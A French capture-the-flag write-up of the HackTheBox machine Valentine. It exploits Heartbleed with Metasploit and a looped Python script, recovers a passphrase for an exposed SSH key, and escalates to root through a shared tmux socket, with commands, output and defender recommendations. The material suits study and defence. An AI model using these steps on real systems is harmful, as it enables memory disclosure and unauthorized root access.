Skip to content

HackTheBox – Valentine : Heartbleed, backup et session Tmux

Je vous propose dans cet article la solution de la machine virtuelle Valentine qui provient de la plateforme HackTheBox.
HackTheBox est une plateforme de challenge qui propose, pour une durée limitée, des machines virtuelles vulnérables à attaquer. L’objectif pour chaque VM est d’obtenir deux flags, un user.txt et un root.txt. Je profiterai de cet article pour mettre en avant le ”leçons” à tirer pour les défenseurs comme pour les attaquants.
Cette machine virtuelle ayant été retirée de la plateforme, je peux à présent publier sa solution.

I. Découverte et  reconnaissance

On commence donc par la phase classique de découverte qui permet de dessiner la surface d’attaque de la machine :

# nmap -T4 10.10.10.79
PORT    STATE SERVICE
 22/tcp  open  ssh
 80/tcp  open  http
 443/tcp open  https

La page d’accueil du service web nous met assez rapidement sur la voie  :

On reconnait le « logo » de la vulnérabilité Heartbleed qui touche certaines versions de la librairie OpenSSL.

Heartbleed est une vulnérabilité logicielle présente dans la bibliothèque de cryptographie open source OpenSSL à partir de mars 2012, qui permet à un « attaquant » de lire la mémoire d’un serveur ou d’un client pour récupérer, par exemple, les clés privées utilisées lors d’une communication avec le protocole Transport Layer Security (TLS). (https://fr.wikipedia.org/wiki/Heartbleed)

Quelques analyses rapides sur les métadonnées ou d’éventuelles données cachées dans l’image n’apportent pas d’informations supplémentaires :

root@kali:~/Downloads# exiftool omg.jpg
ExifTool Version Number : 10.65
File Name : omg.jpg
Directory : .
File Size : 150 kB
File Modification Date/Time : 2018:04:14 12:20:16+02:00
File Access Date/Time : 2018:04:14 12:20:16+02:00
File Inode Change Date/Time : 2018:04:14 12:20:16+02:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1200
Image Height : 627
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1200x627
Megapixels : 0.752
root@kali:~/Downloads# strings -8 omg.jpg
 , #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
v5[4vbjN
'1'|51;q0
#$4%2A3PC
! <Bp&7p
chi-_9fs
 !1"A02PQa
mngl{R[D

II. Recherche de vulnérabilités

La partie recherche de vulnérabilités est donc assez évidente, on peut ici effectuer une recherche dans metasploit afin de savoir quels modules peuvent nous aider :

# msfconsole -q
msf > search heartbleed
 [!] Module database cache not built yet, using slow search
Matching Modules
 ================
Name                                              Disclosure Date  Rank    Description
 ----                                              ---------------  ----    -----------
 auxiliary/scanner/ssl/openssl_heartbleed          2014-04-07       normal  OpenSSL Heartbeat (Heartbleed) Information Leak
 auxiliary/server/openssl_heartbeat_client_memory  2014-04-07       normal  OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

Il ne faut ici pas confondre ces deux modules. Le premier (/scanner/ssl/openssl_heartbleed) permet d’effectuer une vérification et une exploitation de la vulnérabilité sur un service ciblé, ce que nous souhaitons faire à présent. A l’inverse, le second (/server/openssl_heartbeat_client_memory) génère un service qui va exploiter la vulnérabilité Heartbleed sur les clients qui s’y connectent.
On utilisera donc le module auxiliary/scanner/ssl/openssl_heartbleed de metasploit :

msf > use auxiliary/scanner/ssl/openssl_heartbleed
 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true   
 RHOST => 10.10.10.79
 msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 10.10.10.79
 RHOSTS => 10.10.10.79

Également, il est important de positionner le paramètre verbose a true afin de pouvoir visualiser les informations extraites via l’exploitation de la vulnérabilité.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > check
[*] 10.10.10.79:443       - Checking for Heartbleed exposure
 [*] 10.10.10.79:443       - Sending Client Hello...
 [*] 10.10.10.79:443       - SSL record #1:
 [*] 10.10.10.79:443       -         Type:    22
 [*] 10.10.10.79:443       -         Version: 0x0301
 [*] 10.10.10.79:443       -         Length:  86
 [*] 10.10.10.79:443       -         Handshake #1:
 [*] 10.10.10.79:443       -                 Length: 82
 [*] 10.10.10.79:443       -                 Type:   Server Hello (2)
 [*] 10.10.10.79:443       -                 Server Hello Version:           0x0301
 [*] 10.10.10.79:443       -                 Server Hello random data:       5a954011577da4005774ce243bec7e8d1f1731c273495b2ec764c23979343b26
 [*] 10.10.10.79:443       -                 Server Hello Session ID length: 32
 [*] 10.10.10.79:443       -                 Server Hello Session ID:        0778135310e95063c214532b6efffa5396f6d53a3b0eb14157aef202053819fb
 [*] 10.10.10.79:443       - SSL record #2:
 [*] 10.10.10.79:443       -         Type:    22
 [*] 10.10.10.79:443       -         Version: 0x0301
 [*] 10.10.10.79:443       -         Length:  885
 [*] 10.10.10.79:443       -         Handshake #1:
 [*] 10.10.10.79:443       -                 Length: 881
 [*] 10.10.10.79:443       -                 Type:   Certificate Data (11)
 [*] 10.10.10.79:443       -                 Certificates length: 878
 [*] 10.10.10.79:443       -                 Data length: 881
 [*] 10.10.10.79:443       -                 Certificate #1:
 [*] 10.10.10.79:443       -                         Certificate #1: Length: 875
 [*] 10.10.10.79:443       -                         Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x00005613b84a3ec8>, issuer=#<OpenSSL::X509::Name:0x00005613b84a3ef0>, serial=#<OpenSSL::BN:0x00005613b84a3f18>, not_before=2018-02-06 00:45:25 UTC, not_after=2019-02-06 00:45:25 UTC>
 [*] 10.10.10.79:443       - SSL record #3:
 [*] 10.10.10.79:443       -         Type:    22
 [*] 10.10.10.79:443       -         Version: 0x0301
 [*] 10.10.10.79:443       -         Length:  331
 [*] 10.10.10.79:443       -         Handshake #1:
 [*] 10.10.10.79:443       -                 Length: 327
 [*] 10.10.10.79:443       -                 Type:   Server Key Exchange (12)
 [*] 10.10.10.79:443       - SSL record #4:
 [*] 10.10.10.79:443       -         Type:    22
 [*] 10.10.10.79:443       -         Version: 0x0301
 [*] 10.10.10.79:443       -         Length:  4
 [*] 10.10.10.79:443       -         Handshake #1:
 [*] 10.10.10.79:443       -                 Length: 0
 [*] 10.10.10.79:443       -                 Type:   Server Hello Done (14)
 [*] 10.10.10.79:443       - Sending Heartbeat...
 [*] 10.10.10.79:443       - Heartbeat response, 16384 bytes
 [*] 10.10.10.79:443 The target appears to be vulnerable.
 [*] Checked 1 of 1 hosts (100% complete)

A partir des résultats de ce test, on peut constater qu’effectivement, le service web HTTPS est vulnérable à Heartbleed. On peut pousser notre exploration un peu plus loin en essayant de voir si d’autres pages sont accessibles sur le service web, j’utilise pour cela l’outil en ligne de commande dirb :

# dirb http://10.10.10.79
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.79/ ----
 + http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287)
 + http://10.10.10.79/decode (CODE:200|SIZE:552)
 ==> DIRECTORY: http://10.10.10.79/dev/
 + http://10.10.10.79/encode (CODE:200|SIZE:554)
 + http://10.10.10.79/index (CODE:200|SIZE:38)
 + http://10.10.10.79/index.php (CODE:200|SIZE:38)
 + http://10.10.10.79/server-status (CODE:403|SIZE:292)

Le parcours de ces différentes pages nous donne des éléments de contexte afin d’exploiter la vulnérabilité Heartbleed efficacement. Les pages encode et decode sont en réalité des formulaires visant à encoder et décoder des données. Le titre de ces pages contient un « No data stored on our servers » :

Également, le dossier /dev/ contient un fichier de notes et un fichier hype_key :

On peut notamment lire dans ces notes « make sure encoding/decoding is only done client-side« . Effectivement, si ce n’est pas le cas, les données envoyées par les utilisateurs à ces formulaires seront stockées dans la mémoire du serveur et pourront être récupérées par un attaquant via Heartbleed.
La hype_key est donc un bloc hexadécimal qui, une fois convertit, donne ce qui ressemble à une clé privée SSH de l’utilisateur nommé hype :

# cat hype_key |sed 's\ \\g'\ |xxd -r -p
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Il faut cependant connaitre la passphrase pour l’utiliser :

#chmod 600 privatekey_htb.txt
# ssh -i privatekey_htb.txt hype@10.10.10.79
 Enter passphrase for key 'privatekey_htb.txt':

Heartbleed nous permettra peut être de découvrir cette passphrase.

III. Exploitation & flag user

Le principe d’exploitation d’Heartbleed est de l’exécuter plusieurs fois afin de récupérer des zones mémoires différentes et ainsi obtenir un maximum d’informations provenant de la mémoire du serveur.
Pour une boucle rapide d’exécution, j’utilise le script https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py que je modifie légèrement afin qu’il n’affiche que les données extraites. Après quelques boucles d’exécution, des données intéressantes apparaissent :

# for i in {1..9};do python heartbleed.py 10.10.10.79;done
.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.GL@....k.D{.[9-hcr
.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#........10.79
........d..SZ...XU...........F1

On note une variable $text, qui semble être du base64. Une fois décodée, cette chaine donne « heartbleedbelievethehype ». Cela ressemble à une passphrase, peut être celle dont nous avions besoin pour la clé privée SSH. On tente une utilisation avec une connexion SSH avec l’utilisateur hype :

root@kali:/tmp# ssh hype@10.10.10.79 -i key.txt
Enter passphrase for key 'key.txt':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Apr 14 05:22:04 2018 from 10.10.15.171

Nous voila donc connecté en tant qu’utilisateur non privilégié sur le système, on peut valider le flag user.txt :

hype@Valentine:~$ cat /home/hype/Desktop/user.txt
e6710a5464769fd5fcd216e076961750

III. Post exploitation & flag root

En cherchant dans le système de fichier, on découvre la présence d’un répertoire inhabituel /.dev_sess/, contenant un seul fichier :

hype@Valentine:/.devs$ ls -al /.devs/
 total 8
 drwxr-xr-x  2 root hype 4096 Feb 28 04:29 .
 drwxr-xr-x 26 root root 4096 Feb  6 11:56 ..
 srw-rw----  1 root hype    0 Feb 28 04:29 dev_sess

Ici, les droits appliqués au fichier dev_sess sont « srw-rw—-« . Il ne faut pas confondre ici le « s » avec celui du bit setuid (https://fr.wikipedia.org/wiki/Setuid), qui est normalement spécifié comme ceci « -rwsr-sr-x« . C’est à dire à la place du X de RWX.
Ici, le « s » permet de spécifier que le fichier est un socket, comme le « d » permettrait de spécifier un répertoire dans  « drwxr-xr-x  2 root hype 4096 Feb 28 04:29 . »
Ce constat est validé par l’utilisation de la commande file sur le fichier :

hype@Valentine:/.devs$ file dev_sess
 dev_sess: socket

Le nom du fichier nous permet de penser qu’il s’agit d’une session associée à un développeur, peut être un utilisateur possédant des droits élevés sur le système. Également, on remarque sur le fichier est lisible par « hype » et que « root » en est le propriétaire.
Nous avons donc à présent quelques informations basiques sur le fichier, sans savoir par quel outil/service il est utilisé. Quelques recherches permettront d’avoir des pistes supplémentaires, notamment la recherche contenant les mots clés « linux socket file session », qui fournis en premier résultat cette page :
https://superuser.com/questions/941392/persistent-tmux-session-with-shared-socket
L’outil tmux permet visiblement de créer une session utilisateur et de la « stocker » dans un fichier de type socket, socket qui peut être repris plus tard à l’aide de la commande « tmux -S <fichier>« . Également, l’utilisation de la commande « history » afin de voir les commandes saisies précédemment par un utilisateur légitime, nous met sur la même voie :

#.bash_history
 exit
 exot
 exit
 ls -la
 cd /
 ls -la
 cd .devs
 ls -la
 tmux -L dev_sess
 tmux a -t dev_sess
 tmux --help
 tmux -S /.devs/dev_sess
 exit

Il n’y a plus qu’à tester :

hype@Valentine:/.devs$ tmux -S dev_sess

Effectivement, un nouveau terminal apparait et on remarque que nous sommes à présent l’utilisateur root, ce qui permet de relever le flag root :

IV. Points à retenir

Quelques recommandations et bonnes pratiques que nous pouvons tirer de l’exploitation de cette machine virtuelle :
Côté attaquant :

  • Il est important de connaitre les vulnérabilités les plus importantes et connues d’un système ou d’une technologie afin de ne pas passer à côté d’une vulnérabilité majeure. Ici, un grand nombre d’outils tels que testssl ou metasploit permettent la détection rapide de la vulnérabilité heartbleed.
  • La connaissance de la structure des dossiers/fichiers des systèmes permet de rapidement repérer les fichiers et répertoires inhabituels qui possèdent souvent des droits d’accès moins bien gérés que les répertoires par défaut.

Côte défenseur :

  • Le durcissement des services web doit être systématique, ce durcissement doit notamment prendre en compte la désactivation du directory listing, les fichiers et pages contenants des données sensibles doivent être protégés par une authentification.
  • Les fichiers de session tmux et plus généralement les fichiers et répertoires contenant des données sensibles doivent faire l’objet d’une attention particulière, notamment concernant leur droits d’accès.
Partager :
Published inChallenges et CTFs

2 Comments

  1. Très bon write-up !
    Une solution annexe pour la partie escalation de privilèges consiste à remarquer que le kernel est un peu ancien.
    Ainsi, de façon moins élégante, il est possible d’utiliser un exploit kernel type Dirty Cow afin de devenir root.
    J’attends avec impatience le prochain write-up, qui peut-être portera sur la machine Silo 😀

  2. josiane

    trop top j’adore

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *